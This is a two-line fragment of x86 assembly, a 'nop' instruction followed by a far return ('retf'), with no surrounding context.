nop
retf